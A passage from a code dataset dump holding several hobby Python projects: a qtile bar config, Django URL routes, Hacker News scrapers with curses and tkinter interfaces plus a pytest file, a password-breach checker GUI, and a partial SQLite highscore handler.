foreground=ICON_COLOURS,\n text_closed=\"\",\n text_open=\"\",\n widgets=[\n SEPARATOR,\n widget.ThermalSensor(\n tag_sensor=\"Tctl\",\n ),\n SEPARATOR,\n widget.NvidiaSensors(),\n SEPARATOR,\n widget.CPUGraph(core=\"all\", **GRAPH_OPTIONS),\n widget.MemoryGraph(**GRAPH_OPTIONS),\n widget.Net(\n format=\"{down}↓↑{up}\",\n update_interval=2.0,\n ),\n ],\n ),\n SEPARATOR,\n # VOLUME\n widget.TextBox(\n font=FONT_AWESOME_FONT,\n fontsize=FONT_AWESOME_FONTSIZE,\n foreground=ICON_COLOURS,\n text=\"\",\n mouse_callbacks={\n \"Button1\": lambda: qtile.cmd_spawn(PROGRAMS[\"volume_manager\"]),\n \"Button3\": lambda: qtile.cmd_spawn(PROGRAMS[\"volume_toggle\"]),\n },\n ),\n SEPARATOR,\n # DATE\n widget.WidgetBox(\n font=FONT_AWESOME_FONT,\n fontsize=FONT_AWESOME_FONTSIZE,\n foreground=ICON_COLOURS,\n text_closed=\"\",\n text_open=\"\",\n widgets=[\n SEPARATOR,\n widget.Clock(\n format=\"%a, %d %m %y\",\n ),\n ],\n ),\n SEPARATOR,\n # TIME\n widget.TextBox(\n text=\"\",\n font=FONT_AWESOME_FONT,\n fontsize=FONT_AWESOME_FONTSIZE,\n foreground=ICON_COLOURS,\n ),\n widget.Clock(\n format=\"%H:%M\",\n ),\n SEPARATOR,\n]\n", "id": "134877", "language": "Python", "matching_score": 2.9037530422210693, "max_stars_count": 0, "path": ".config/qtile/my_modules/widgets.py" }, { "content": "COLOURS = dict(\n transparent=\"#00000000\",\n white=\"#FFFFFF\",\n black=\"#000000\",\n purple=\"#FF00FF\",\n purple_light=\"#FF60FF\",\n cyan=\"#00FFFF\",\n graph_line=\"#d4d40b\",\n)\n", "id": "9546455", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": ".config/qtile/my_modules/colours.py" }, { "content": "from django.urls import path\nfrom .views import RoomView, CreateRoomView\n\nurlpatterns = [\n path(\"room\", RoomView.as_view()),\n path(\n \"create-room\",\n CreateRoomView.as_view(),\n ),\n]\n", "id": "3372387", "language": "Python", "matching_score": 1.6883739233016968, "max_stars_count": 3, "path": "django-rest-project/music_controller/api/urls.py" }, { "content": "from django.urls import path\nfrom .views import index\n\nurlpatterns = [\n path(\"\", index),\n path(\"join-room\", index),\n path(\"create-room\", index),\n]\n", "id": "3703340", "language": "Python", "matching_score": 0, "max_stars_count": 3, "path": "django-rest-project/music_controller/frontend/urls.py" }, { "content": "from daily_hn import UI, Stories\n\n\nclass TestDailyHN:\n # Expensive call as it must scrape the newscombinator best stories page, so\n # it is only made once\n stories: list[dict] = Stories.get_stories()\n assert stories\n\n def test_Stories(self, capsys):\n Stories.print_articles(stories=self.stories)\n\n captured = capsys.readouterr()\n\n assert len(captured.out.split(\"\\n\")) // 5 == len(self.stories) # 5 lines per\n\n for story in self.stories:\n assert story[\"headline\"] and story[\"link\"] and story[\"score\"]\n assert story[\"link\"].startswith(\"http\")\n assert type(story[\"score\"]) is int\n\n assert self.stories[0][\"score\"] >= self.stories[-1][\"score\"]\n\n def test_UI_shortcuts(self):\n assert len(UI.story_shortcuts) >= len(self.stories)\n\n def test_UI_format_headlines(self):\n headline = \"headline\"\n formatted_headline = UI._format_headline(headline, 6)\n\n assert formatted_headline == \"hea...\"\n", "id": "4885637", "language": "Python", "matching_score": 1.4739919900894165, "max_stars_count": 0, "path": "tests/test_daily_hn.py" }, { "content": "#!/usr/bin/env python3\n# ---------------------------------------------------------------------------------------\n# Author: Rolv-Apneseth <<EMAIL>>\n# License: MIT\n# ---------------------------------------------------------------------------------------\n\n\"\"\"\nA command line tool for displaying and opening links to the current best stories from\nnews.ycombinator.com (Hacker News)\n\"\"\"\n\nimport curses\nimport webbrowser\nfrom argparse import ArgumentParser\n\nimport requests\nfrom bs4 import BeautifulSoup, Tag\n\n# ARGUMENTS -----------------------------------------------------------------------------\nparser = ArgumentParser(description=__doc__)\n\nparser.add_argument(\n \"-p\",\n \"--print\",\n action=\"store_true\",\n help=(\"prints the stories to the terminal instead of using the ncurses gui\"),\n)\n\nargs = parser.parse_args()\n\n\n# STORIES -------------------------------------------------------------------------------\nclass Stories:\n \"\"\"Handles the fetching and formatting of stories.\"\"\"\n\n base_url: str = \"https://news.ycombinator.com/\"\n best_stories_url: str = f\"{base_url}best\"\n score_selector: str = \".score\"\n titles_selector: str = \".titlelink\"\n\n @classmethod\n def _get_soup(cls, link: str):\n \"\"\"Gets soup from a given website.\"\"\"\n\n response = requests.get(link)\n return BeautifulSoup(response.text, \"html.parser\")\n\n @classmethod\n def _get_titles(cls, soup: BeautifulSoup):\n \"\"\"Gets story title elements from the given hacker news soup.\"\"\"\n\n return soup.select(cls.titles_selector)\n\n @classmethod\n def _get_scores(cls, soup: BeautifulSoup):\n \"\"\"Gets subtext elements from the given hacker news soup.\"\"\"\n\n return soup.select(cls.score_selector)\n\n @classmethod\n def _fix_item_link(cls, href: str):\n \"\"\"\n Fixes links which point to specific items in the hacker news\n website itself, as they just point to specific pages on the site.\n \"\"\"\n\n return f\"{cls.base_url}{href}\"\n\n @classmethod\n def _get_points(cls, score: Tag):\n \"\"\"Returns an integer representing the points extracted from a given Tag.\"\"\"\n\n return int(score.getText().split()[0])\n\n @classmethod\n def get_stories(cls):\n \"\"\"Returns a list of dictionaries representing stories.\"\"\"\n\n soup = cls._get_soup(cls.best_stories_url)\n\n titles = cls._get_titles(soup)\n scores = cls._get_scores(soup)\n\n return [\n {\n \"headline\": title.get_text(),\n \"link\": title[\"href\"]\n if title[\"href\"].startswith(\"http\")\n else cls._fix_item_link((title[\"href\"])),\n \"score\": cls._get_points(score),\n }\n for title, score in zip(titles, scores)\n ]\n\n @classmethod\n def print_articles(cls, stories: list[dict] = None):\n \"\"\"Simple print of articles to the screen.\"\"\"\n\n if stories is None:\n stories = cls.get_stories()\n\n for i, story in enumerate(reversed(stories)):\n print(\n f\"\\n\\n{30-i}. {story.get('headline')}\"\n f\"\\nScore: {story.get('score')}\"\n f\"\\nLink: {story.get('link')}\"\n )\n\n\n# CURSES UI -----------------------------------------------------------------------------\nclass UI:\n \"\"\"Handles the drawing and management of the ncurses UI.\"\"\"\n\n # 'jk{}' used for navigation, 'q' used for quitting\n story_shortcuts: str = 'abcdefhilmnoprstuvwxyz!\"$%^&*.'\n # Base measurements\n stories_starting_row: int = 3\n stories_starting_col: int = 2\n border_width: int = 2\n story_rows: int = 3\n number_spacing: int = 4\n # Other\n program_title: str = \"Daily Dose of HN\"\n\n @staticmethod\n def _base_curses_setup():\n \"\"\"\n Sets some basic curses configuration options, such as using default colours.\n \"\"\"\n\n curses.use_default_colors()\n curses.curs_set(0)\n\n @staticmethod\n def _get_colours():\n \"\"\"Sets up curses colour pairs for easy use.\"\"\"\n\n colours = dict(\n fg_blue=(curses.COLOR_BLUE, -1),\n fg_red=(curses.COLOR_RED, -1),\n fg_green=(curses.COLOR_GREEN, -1),\n fg_cyan=(curses.COLOR_CYAN, -1),\n fg_magenta=(curses.COLOR_MAGENTA, -1),\n fg_yellow=(curses.COLOR_YELLOW, -1),\n )\n\n for i, name in enumerate(colours.keys(), start=1):\n curses.init_pair(i, *colours[name])\n colours[name] = curses.color_pair(i)\n\n return colours\n\n @staticmethod\n def _format_headline(headline: str, max_length: int):\n \"\"\"Cuts/formats a headline to fit in 1 row of the stories pad.\"\"\"\n\n return (\n f\"{headline[:max_length - 3].strip()}...\"\n if len(headline) > max_length\n else headline\n )\n\n @classmethod\n def _draw_title(cls, stdscr, colours: dict):\n \"\"\"Draws the title for the program.\"\"\"\n\n stdscr.addstr(\n 1,\n 2,\n cls.program_title,\n curses.A_UNDERLINE | curses.A_BOLD | colours[\"fg_green\"],\n )\n\n @classmethod\n def _draw_border(cls, stdscr, colours):\n \"\"\"Draws a basic border for the program.\"\"\"\n\n cls.BORDER_DESIGN = curses.A_BOLD | colours[\"fg_magenta\"]\n stdscr.attron(cls.BORDER_DESIGN)\n stdscr.box()\n stdscr.attroff(cls.BORDER_DESIGN)\n\n @classmethod\n def _base_ui_setup(cls, stdscr, colours: dict):\n \"\"\"Base ui setup, draws the title of the program and a basic border.\"\"\"\n\n cls._draw_title(stdscr, colours)\n cls._draw_border(stdscr, colours)\n\n @classmethod\n def _draw_shortcut_key(\n cls, stories_pad, colour: int, story_index: int, shortcut_key: str\n ):\n \"\"\"\n Draws a given shortcut key to the stories pad based on the given story index.\n \"\"\"\n\n stories_pad.addstr(\n story_index * cls.story_rows,\n 0,\n f\"({shortcut_key})\",\n colour | curses.A_BOLD,\n )\n\n @classmethod\n def _add_stories_to_pad(\n cls, stories_pad, stories: list[dict], colours: dict, max_title_length: int\n ):\n \"\"\"Draw all the given stories to the stories pad.\"\"\"\n\n for i, story in enumerate(stories):\n # labelling (shortcuts)\n cls._draw_shortcut_key(\n stories_pad, colours[\"fg_magenta\"], i, cls.story_shortcuts[i]\n )\n # headline\n stories_pad.addstr(\n i * cls.story_rows,\n cls.number_spacing,\n cls._format_headline(story[\"headline\"], max_title_length),\n curses.A_BOLD,\n )\n # score\n stories_pad.addstr(\n i * cls.story_rows + 1,\n cls.number_spacing,\n f\"{story['score']}\",\n colours[\"fg_yellow\"] | curses.A_BOLD,\n )\n\n @classmethod\n def _refresh_stories_pad(cls, stories_pad, pad_starting_row: int, MAX_LINES: int):\n \"\"\"Convenience function for refreshing story pad.\"\"\"\n\n stories_pad.refresh(\n pad_starting_row,\n 0,\n cls.stories_starting_row,\n cls.stories_starting_col,\n MAX_LINES,\n curses.COLS - cls.border_width,\n )\n\n @staticmethod\n def _open_url(url: str):\n \"\"\"Opens the given url in a new browser window.\"\"\"\n\n webbrowser.open(url, new=1)\n\n @classmethod\n def _draw_ui(cls, stdscr, stories: list[dict]):\n \"\"\"Main function for drawing the UI for the program.\"\"\"\n\n max_title_length = curses.COLS - cls.number_spacing - cls.border_width * 2\n MAX_LINES = curses.LINES - cls.border_width\n STORIES_PAD_HEIGHT = len(stories) * cls.story_rows\n STORIES_PAD_WIDTH = max_title_length + cls.number_spacing\n MAX_SCROLL = STORIES_PAD_HEIGHT - MAX_LINES + 2\n SCROLL_AMOUNT_LARGE = MAX_LINES - cls.story_rows\n\n pad_starting_row = 0 # Used for scrolling the stories pad\n\n # BASE SETUP\n cls._base_curses_setup()\n COLOURS = cls._get_colours()\n cls._base_ui_setup(stdscr, COLOURS)\n stdscr.refresh()\n\n # STORIES PAD SETUP\n stories_pad = curses.newpad(STORIES_PAD_HEIGHT, STORIES_PAD_WIDTH)\n\n cls._add_stories_to_pad(stories_pad, stories, COLOURS, max_title_length)\n cls._refresh_stories_pad(stories_pad, pad_starting_row, MAX_LINES)\n\n # MAIN LOOP\n while True:\n # Get user keypress\n keypress = stories_pad.getkey()\n\n # QUIT\n if keypress == \"q\":\n break\n\n # NAVIGATION\n elif keypress == \"j\" and pad_starting_row < MAX_SCROLL:\n pad_starting_row += 1\n elif keypress == \"k\" and pad_starting_row > 0:\n pad_starting_row -= 1\n elif keypress == \"{\":\n if pad_starting_row > SCROLL_AMOUNT_LARGE:\n pad_starting_row -= SCROLL_AMOUNT_LARGE\n else:\n pad_starting_row = 0\n elif keypress == \"}\":\n if pad_starting_row < MAX_SCROLL - SCROLL_AMOUNT_LARGE:\n pad_starting_row += SCROLL_AMOUNT_LARGE\n else:\n pad_starting_row = MAX_SCROLL\n\n # OPEN URLS\n elif keypress in cls.story_shortcuts:\n story_index = cls.story_shortcuts.find(keypress)\n matching_story_link = stories[story_index][\"link\"]\n\n cls._open_url(matching_story_link)\n\n # Apply visual change to shortcut keys next to opened story\n cls._draw_shortcut_key(\n stories_pad, COLOURS[\"fg_green\"], story_index, keypress\n )\n\n cls._refresh_stories_pad(stories_pad, pad_starting_row, MAX_LINES)\n\n @classmethod\n def init_ui(cls, stories: list[dict]):\n \"\"\"Initialise the curses UI.\"\"\"\n\n curses.wrapper(cls._draw_ui, stories)\n\n\n# MAIN ----------------------------------------------------------------------------------\ndef main():\n # Print articles if --print arg is passed, otherwise initialise the curses UI\n if args.print:\n Stories.print_articles()\n else:\n UI.init_ui(Stories.get_stories())\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "4580800", "language": "Python", "matching_score": 3.344916582107544, "max_stars_count": 0, "path": "daily_hn.py" }, { "content": "from bs4 import BeautifulSoup\nimport requests\n\n\ndef get_soup(link):\n \"\"\"Gets soup from a given website.\"\"\"\n\n res = requests.get(link)\n soup = BeautifulSoup(res.text, \"html.parser\")\n return soup\n\n\ndef get_links(soup):\n \"\"\"Gets the story links from the given hacker soup.\"\"\"\n\n links = soup.select(\".storylink\")\n return links\n\n\ndef add_links(links, soup):\n \"\"\"\n Adds links to the existing links variable, used for scraping additional\n pages of hacker news.\n \"\"\"\n\n links += soup.select(\".storylink\")\n return links\n\n\ndef get_subtext(soup):\n \"\"\"Gets the subtext links from the given hacker news soup.\"\"\"\n\n subtext = soup.select(\".subtext\")\n return subtext\n\n\ndef add_subtext(subtext, soup):\n \"\"\"\n Adds subtext to the existing subtext variable, used for scraping pages\n 2 and 3 of hacker news.\n \"\"\"\n\n subtext += soup.select(\".subtext\")\n return subtext\n\n\ndef fix_item_link(href):\n \"\"\"\n Fixes links which point to specific items in the hacker news\n website itself, as they just point to specific pages on the site.\n \"\"\"\n\n return \"https://news.ycombinator.com/\" + href\n\n\ndef clean(links, subtext):\n \"\"\"\n Organises the links and subtext lists given from the soup into a list\n of dictionaries which display title, link and votes to each article.\n\n If the article has more than 150 votes, then it is included in the page\n returned list.\n \"\"\"\n\n hn = []\n for inx, _ in enumerate(links):\n vote = subtext[inx].select(\".score\")\n title = links[inx].getText()\n href = links[inx].get(\"href\", None)\n\n # Fix link if it needs fixing\n if not href.startswith(\"http\"):\n href = fix_item_link(href)\n\n # If statement in case article has not yet received any votes so\n # does not have a vote category\n if len(vote):\n points = int(vote[0].getText().replace(\" points\", \"\"))\n # Change 100 to a lower number if you want to see more articles\n if points > 100:\n hn.append({\"title\": title, \"link\": href, \"score\": points})\n\n return hn\n\n\ndef sort_by_points(hn_list):\n \"\"\"Sorts the given list of dictionaries by the score category.\"\"\"\n\n # Reversed so that the list is in descending order\n return sorted(hn_list, key=lambda x: x[\"score\"], reverse=True)\n\n\ndef print_articles(sorted_list):\n \"\"\"Prints the sorted list of dictionaries neatly to the console\"\"\"\n\n for dictionary in sorted_list:\n title, link, score = dictionary.values()\n\n print(f\"\\n\\nTitle: {title}\\nScore: {score}\\nLink: {link}\")\n\n\ndef main():\n # Get links and subtext from page 1 of hacker news\n soup = get_soup(\"https://news.ycombinator.com/news\")\n links = get_links(soup)\n subtext = get_subtext(soup)\n # Add links and subtext from pages 2 and 3 of hacker news\n for link in [\n \"https://news.ycombinator.com/news?p=2\",\n \"https://news.ycombinator.com/news?p=3\",\n ]:\n soup = get_soup(link)\n add_links(links, soup)\n add_subtext(subtext, soup)\n\n print_articles(sort_by_points(clean(links, subtext)))\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "3199910", "language": "Python", "matching_score": 2.346893072128296, "max_stars_count": 1, "path": "hacker-news-webscraper/parse_script.py" }, { "content": "import tkinter as tk\nfrom tkinter import ttk\nimport webbrowser\nimport textwrap\nimport os\n\nimport parse_script\n\n\n# Font and cursor for gui\nHEADER_FONT = (\"Helvetica\", 20, \"bold\")\nTITLE_FONT = (\"Helvetica\", 15, \"bold\")\nLINK_FONT = (\"Helvetica\", 11, \"underline\")\nBUTTON_FONT = (\"Helvetica\", 12)\nTITLE_CURSOR = \"hand2\"\n\n# Minimum votes for article to be included\nMIN_SCORE = 150\n\n# UI colours\nBG_PRIMARY = \"#1F1B24\"\nBG_SECONDARY = \"#373040\"\nBG_BUTTON = \"#b53930\"\nBG_BUTTON_HOVER = \"#c93f36\"\nTEXT = \"#cccccc\"\n\n# Variable to keep track of the index of the article in display, for\n# displaying different articles as only 10 fit on the gui at one time\nheadline_tally = [0]\n\n\ndef alternative_hacker_news(links, subtext):\n \"\"\"\n Returns an organised list of dictionaries which display title, link and votes\n to each article, if the article has at least MIN_SCORE votes.\n \"\"\"\n\n hn = []\n for inx, _ in enumerate(links):\n vote = subtext[inx].select(\".score\")\n title = links[inx].getText()\n href = links[inx].get(\"href\", None)\n\n # Fix links which point back to the Y Combinator website itself\n if not href.startswith(\"http\"):\n href = parse_script.fix_item_link(href)\n\n # If statement in case article has not yet received any votes so\n # does not have a vote category\n if len(vote):\n points = int(vote[0].getText().replace(\" points\", \"\"))\n\n if points >= MIN_SCORE:\n hn.append({\"title\": title, \"link\": href, \"score\": points})\n\n return hn\n\n\ndef sort_by_points(hn_list):\n \"\"\"\n Returns a sorted list of dictionaries from alternative_hacker_news to\n be ordered by score (highest first).\n \"\"\"\n\n sorted_list = sorted(hn_list, key=lambda k: k[\"score\"], reverse=True)\n\n return sorted_list\n\n\ndef format_titles(sorted_list):\n \"\"\"\n Returns a list of dictionaries where the titles within the\n dictionaries are formatted so that they have wrapped text\n (to fit inside their given labels).\n \"\"\"\n\n wrap_size = 30\n formatted_list = sorted_list\n for dictionary in sorted_list:\n if len(dictionary[\"title\"]) > wrap_size:\n dictionary[\"title\"] = textwrap.fill(dictionary[\"title\"], wrap_size)\n\n return formatted_list\n\n\ndef bind_label_to_url(label, url):\n \"\"\"Binds a label with a function which opens a given url (in a new window).\"\"\"\n\n label.bind(\"<Button-1>\", lambda e: webbrowser.open_new(url))\n\n\ndef titles_and_links(count, formatted_list, labels):\n \"\"\"\n Applies corresponding article text and binds article link to each label.\n \"\"\"\n\n for i, label in enumerate(labels):\n no = count + i\n article_no = str(no + 1)\n article_title = formatted_list[no][\"title\"]\n article_score = str(formatted_list[no][\"score\"])\n article_link = formatted_list[no][\"link\"]\n\n bind_label_to_url(label, article_link)\n label[\"text\"] = f\"{article_no}. {article_title}\\nScore: {article_score}\"\n\n\ndef previous_button_function(headline_tally, formatted_list, labels):\n \"\"\"Shows previous 10 articles (if possible).\"\"\"\n if headline_tally[0] >= 10:\n headline_tally[0] -= 10\n titles_and_links(headline_tally[0], formatted_list, labels)\n\n\ndef next_button_function(formatted_list, headline_tally, labels):\n \"\"\"Shows next 10 articles (if possible).\"\"\"\n\n if len(formatted_list) >= (headline_tally[0] + 20):\n headline_tally[0] += 10\n titles_and_links(headline_tally[0], formatted_list, labels)\n\n\ndef links_and_subtext():\n \"\"\"\n Returns a tuple containing a list of links to articles and a list of\n titles and votes, to be sent to the alternative_hacker_news function.\n \"\"\"\n\n # Get links and subtext from page 1 of hacker news\n soup = parse_script.get_soup(\"https://news.ycombinator.com/news\")\n links = parse_script.get_links(soup)\n subtext = parse_script.get_subtext(soup)\n # Add links and subtext from pages 2 and 3 of hacker news\n for link in [\n \"https://news.ycombinator.com/news?p=2\",\n \"https://news.ycombinator.com/news?p=3\",\n ]:\n soup = parse_script.get_soup(link)\n parse_script.add_links(links, soup)\n parse_script.add_subtext(subtext, soup)\n\n return (links, subtext)\n\n\ndef get_formatted_list(links_and_subtext):\n \"\"\"Gets a formatted list of all the articles with over 150 points\"\"\"\n\n formatted_list = format_titles(\n sort_by_points(\n alternative_hacker_news(links_and_subtext[0], links_and_subtext[1])\n )\n )\n\n return formatted_list\n\n\n# Get formatted list of articles and links\n# Only executed once while the program runs, so a refresh requires the\n# program to be restarted\nformatted_list = get_formatted_list(links_and_subtext())\n\n# UI --------------------------------------------------------------------------\nroot = tk.Tk()\n\n# Default window size\ndefault_window = tk.Canvas(root, height=900, width=800)\ndefault_window.pack()\n\n# Background\nbg = tk.Label(root, bg=BG_PRIMARY, bd=15)\nbg.place(relwidth=1, relheight=1)\n\n# Set icon and title for window\nroot.tk.call(\n \"wm\",\n \"iconphoto\",\n root._w,\n tk.PhotoImage(file=os.path.join(os.path.dirname(__file__), \"assets\", \"icon.ico\")),\n)\nroot.title(\"Hacker News Webscraper\")\n\n# Make Title Label with link to hacker news\ntitle_frame = tk.Frame(root)\ntitle_frame.place(relx=0.2, rely=0.01, relwidth=0.6, relheight=0.1)\n\ntitle_background = tk.Label(title_frame, bg=BG_SECONDARY)\ntitle_background.place(relwidth=1, relheight=1)\n\ntitle_label = tk.Label(\n title_frame,\n bg=BG_SECONDARY,\n text=\"Hacker News Webscraper\",\n font=HEADER_FONT,\n fg=TEXT,\n)\ntitle_label.place(relx=0.025, rely=0.025, relwidth=0.95, relheight=0.7)\n\nhacker_news_link = tk.Label(\n title_frame,\n bg=BG_SECONDARY,\n text=\"Original website (source)\",\n font=LINK_FONT,\n cursor=TITLE_CURSOR,\n fg=TEXT,\n)\nhacker_news_link.place(relx=0.025, rely=0.75, relheight=0.25, relwidth=0.95)\nhacker_news_link.bind(\n \"<Button-1>\", lambda e: webbrowser.open_new(\"https://news.ycombinator.com/\")\n)\n\n# ARTICLES\nFRAME_HEIGHT = 0.15\nFRAME_WIDTH = 0.45\nFRAME_START_X = 0.025\nFRAME_END_X = 0.5 + FRAME_START_X\nFRAME_Y_VALUES = [0.125, 0.3, 0.475, 0.65, 0.825]\nLABEL_LOCATION = 0.1\nLABEL_SIZE = 0.8\n\n# Make and place ui elements, saving the finished label elements into lists\n# since the text on them needs to be changed\nlabels = []\nfor i in range(5):\n # Frames\n left_column_frame = tk.Frame(root)\n right_column_frame = tk.Frame(root)\n\n left_column_frame.place(\n relx=FRAME_START_X,\n rely=FRAME_Y_VALUES[i],\n relwidth=FRAME_WIDTH,\n relheight=FRAME_HEIGHT,\n )\n right_column_frame.place(\n relx=FRAME_END_X,\n rely=FRAME_Y_VALUES[i],\n relwidth=FRAME_WIDTH,\n relheight=FRAME_HEIGHT,\n )\n\n # Set frame backgrounds, currently no need to save these as they do not need\n # to be changed\n tk.Label(left_column_frame, bg=BG_SECONDARY).place(relwidth=1, relheight=1)\n tk.Label(right_column_frame, bg=BG_SECONDARY).place(relwidth=1, relheight=1)\n\n # Create text labels\n left_frame_label = tk.Label(\n left_column_frame,\n bg=BG_SECONDARY,\n font=TITLE_FONT,\n cursor=TITLE_CURSOR,\n fg=TEXT,\n )\n right_frame_label = tk.Label(\n right_column_frame,\n bg=BG_SECONDARY,\n font=TITLE_FONT,\n cursor=TITLE_CURSOR,\n fg=TEXT,\n )\n\n # Place text labels, and add them to the labels list\n for label in (left_frame_label, right_frame_label):\n label.place(\n relx=LABEL_LOCATION,\n rely=LABEL_LOCATION,\n relwidth=LABEL_SIZE,\n relheight=LABEL_SIZE,\n )\n labels.append(label)\n\n# BUTTONS\n# Make 'next' and 'previous' buttons\nstyle = ttk.Style()\nstyle.configure(\n \"TButton\",\n background=BG_BUTTON,\n foreground=TEXT,\n font=BUTTON_FONT,\n)\nstyle.map(\"TButton\", background=[(\"active\", BG_BUTTON_HOVER)])\n\nnext_button = ttk.Button(\n root,\n text=\"Next\",\n command=lambda: next_button_function(formatted_list, headline_tally, labels),\n cursor=TITLE_CURSOR,\n)\nnext_button.place(relx=0.875, rely=0.06, relwidth=0.1, relheight=0.05)\n\nprevious_button = ttk.Button(\n root,\n text=\"Previous\",\n command=lambda: previous_button_function(headline_tally, formatted_list, labels),\n cursor=TITLE_CURSOR,\n)\nprevious_button.place(relx=0.025, rely=0.06, relwidth=0.1, relheight=0.05)\n\n# Displays first 10 articles straight away\ntitles_and_links(headline_tally[0], formatted_list, labels)\n\nroot.mainloop()\n", "id": "4723849", "language": "Python", "matching_score": 4.179373264312744, "max_stars_count": 1, "path": "hacker-news-webscraper/main.py" }, { "content": "import os\nimport tkinter as tk\nfrom tkinter import ttk\n\nimport pass_check_script\n\n\n# COLOURS\nBG_PRIMARY = \"#1F1B24\"\nBG_SECONDARY = \"#373040\"\nFG = \"#cccccc\"\n\n# FONTS\nCONSOLE_FONT = (\"Helvetica\", 14)\nTITLE_FONT = (\"Helvetica\", 18, \"bold\")\n\n\ndef pass_check(password):\n \"\"\"\n Calls api_check from pass_check_script.py and changes gui elements as\n the process is carried out.\n \"\"\"\n\n # Return if no password was given\n if password == \"\":\n console[\"text\"] = \"Please enter a password first\"\n return\n\n # Clear entry element\n entry.delete(0, \"end\")\n\n count = pass_check_script.api_check(password)\n if count:\n console[\"text\"] = (\n f\"Check complete\\n\\nThe password was found: {str(count)} times\"\n \"\\n\\nA new password is recommended\"\n )\n else:\n console[\"text\"] = (\n \"Check complete\\n\\nThe password was not found\\n\\n\"\n \"A new password is not required\"\n )\n\n\n# GUI\nroot = tk.Tk()\n\n# Set icon and title for window\nroot.tk.call(\n \"wm\",\n \"iconphoto\",\n root._w,\n tk.PhotoImage(file=os.path.join(os.getcwd(), \"assets/icon.ico\")),\n)\nroot.title(\"Pwned Password Checker\")\n\n# Canvas to define default window size\ncanvas = tk.Canvas(root, height=400, width=400)\ncanvas.pack()\n\n# Background\nbg_label = tk.Label(root, bg=BG_PRIMARY)\nbg_label.place(relwidth=1, relheight=1)\n\n# Making the frames\ntitle_frame = tk.Frame(root)\nframe2 = tk.Frame(root)\nframe3 = tk.Frame(root)\n\n# Placing Frames\ntitle_frame.place(relwidth=0.9, relheight=0.1, relx=0.05, rely=0.05)\nframe2.place(relwidth=0.9, relheight=0.2, relx=0.05, rely=0.2)\nframe3.place(relwidth=0.9, relheight=0.5, relx=0.05, rely=0.45)\n\n# Title\ntitle_label = tk.Label(\n title_frame,\n text=\"Pwned Password Checker\",\n font=TITLE_FONT,\n bg=BG_SECONDARY,\n fg=FG,\n)\ntitle_label.place(relwidth=1, relheight=1, relx=0, rely=0)\n\n# Entry label\nentry = ttk.Entry(frame2, background=\"gray\", font=(\"Times\", 14), justify=\"center\")\nentry.place(relwidth=0.6, relheight=0.9, relx=0.005, rely=0.05)\n\n# Entry button\npassword_submit = ttk.Button(\n frame2,\n text=\"Check password\",\n command=lambda: pass_check(entry.get()),\n cursor=\"hand2\",\n)\npassword_submit.place(relwidth=0.385, relheight=0.9, relx=0.61, rely=0.05)\n\n# Console\nconsole = ttk.Label(\n frame3,\n background=BG_SECONDARY,\n foreground=FG,\n text=(\n \"The program is ready for use.\\n\\nPlease enter a password above \"\n \"and\\nclick the 'Check password' button to check\\nif your password \"\n \"has been pwned.\\n\\nDon't worry, as only a small, encrypted\\n\"\n \"fragmentof your password is sent over\\nthe web, so your password \"\n \"is secure.\"\n ),\n justify=\"left\",\n font=CONSOLE_FONT,\n pad=10,\n anchor=\"nw\",\n)\nconsole.place(relwidth=1, relheight=1, relx=0, rely=0)\n\nroot.mainloop()\n", "id": "6559966", "language": "Python", "matching_score": 0.19928795099258423, "max_stars_count": 1, "path": "password-checker/main.py" }, { "content": "import sqlite3\nfrom dataclasses import dataclass\nfrom datetime import datetime, timedelta\n\nfrom ps_typer.data.utils import (OPTIONS_HIGHSCORES, PATH_USER_DATA_DB,\n get_datetime_from_str, get_today)\n\n# SQL -----------------------------------------------------------------------------------\nCOMMANDS = dict(\n create_table=\"\"\"CREATE TABLE IF NOT EXISTS highscores (\n date timestamp PRIMARY KEY,\n score INTEGER NOT NULL,\n is_all_time INTEGER DEFAULT NULL\n );\"\"\",\n create_index=\"\"\"CREATE UNIQUE INDEX\n IF NOT EXISTS\n all_time_index ON highscores(is_all_time)\n where is_all_time = 1;\"\"\",\n add_row=\"\"\"INSERT INTO 'highscores'\n ('score', 'date')\n VALUES (?, ?);\"\"\",\n del_row=\"\"\"DELETE FROM 'highscores'\n WHERE {0}=?;\"\"\",\n update_row=\"\"\"UPDATE 'highscores'\n SET {0}=?\n WHERE {1}=?;\"\"\",\n del_all=\"\"\"DELETE FROM 'highscores';\"\"\",\n)\n\nQUERIES = dict(\n all=\"\"\"SELECT * FROM highscores;\"\"\",\n single_row=\"\"\"SELECT * FROM highscores WHERE {0}=?;\"\"\",\n)\n\n\n# MODEL ---------------------------------------------------------------------------------\n@dataclass\nclass Highscore:\n date: str\n score: int\n is_all_time: int | None\n\n\n# DATA HANDLER --------------------------------------------------------------------------\nclass HighscoreDataHandler:\n def __init__(self, conn: sqlite3.Connection) -> None:\n self.conn = conn\n self.cursor = self.conn.cursor()\n\n self.cursor.execute(COMMANDS[\"create_table\"])\n self.cursor.execute(COMMANDS[\"create_index\"])\n\n def _insert_highscore(self, score: int) -> None:\n self.cursor.execute(COMMANDS[\"add_row\"], (score, get_today()))\n self.conn.commit()\n\n def _get_highscore(self, field: str, value: str | int | None) -> Highscore | None:\n self.cursor.execute(QUERIES[\"single_row\"].format(field), (value,))\n row: tuple | None = self.cursor.fetchone()\n\n return Highscore(*row) if row else None\n\n def _update_highscore(\n self,\n field: str,\n value: str | int | None,\n identifier_field: str,\n identifier_value: str | int | None,\n ):\n self.cursor.execute(\n COMMANDS[\"update_row\"].format(field, identifier_field),\n (value, identifier_value),\n )\n self.conn.commit()\n\n def _update_highscore_todays(self, score: int) -> None:\n self._update_highscore(\"score\", score, \"date\", get_today())\n self.conn.commit()\n\n def _set_highscore_all_time(self):\n self._update_highscore(\"is_all_time\", 1, \"date\", get_today())\n self.conn.commit()\n\n def _update_highscore_all_time(self) -> None:\n self._update_highscore(\"is_all_time\", None, \"is_all_time\", 1)\n self._set_highscore_all_time()\n\n # PUBLIC\n def get_all_highscores(self) -> list[Highscore]:\n self.cursor.execute(QUERIES[\"all\"])\n\n return [Highscore(*row) for row in self.cursor.fetchall()]\n\n def get_highscore_todays(self) -> Highscore | None:\n return self._get_highscore(\"date\", get_today())\n\n def get_highscore_all_time(self) -> Highscore | None:\n return self._get_highscore(\"is_all_time\", 1)\n\n def new_highscore(self, score: int) -> str:\n # None\n highscore_row_todays: Highscore | None = self.get_highscore_todays()\n if highscore_row_todays and highscore_row_todays.score >= score:\n return OPTIONS_HIGHSCORES[0]\n\n # Set todays if none found\n if not highscore_row_todays:\n 